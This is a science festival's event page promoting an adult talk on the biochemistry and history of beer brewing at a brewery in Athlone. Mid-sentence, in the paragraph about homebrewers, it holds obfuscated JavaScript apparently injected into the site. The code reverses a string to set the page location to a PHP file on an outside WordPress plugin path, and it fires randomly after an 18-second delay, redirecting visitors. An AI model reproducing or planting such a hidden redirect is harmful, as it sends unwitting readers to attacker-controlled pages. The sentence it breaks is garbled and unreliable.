Dead Centre Brewing Athlone - Pint of Beer

Hop to It – The Science of Beer!

The Midlands Science Festival is delighted to present a unique event for adult attendees this year exploring the science of brewing and beer. This event will take place in Dead Centre Brewing in Athlone (see images below). People have been brewing beer for thousands of years. Beer became a staple in the Middle Ages, when people began to live in cities where close quarters and poor sanitation made clean water difficult to obtain. The alcohol in beer made it safer to drink than water. Thankfully times have changed since then!

The evening will explore the complex biochemistry that makes a perfect pint and also the history of brewing. A complex series of biochemical reactions must take place to convert barley to fermentable sugars, and to allow yeast to live and multiply, converting those sugars to alcohol. Commercial breweries have to ensure every beer tastes the same, so they have very detailed processes and complicated equipment. Homebrewers $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don’t usually worry about this as much and so it’s likely that they rarely make the same beer twice.

Come along to the unique venue of Dead Centre Brewing and hear all about the science of beer and brewing – hop to it!
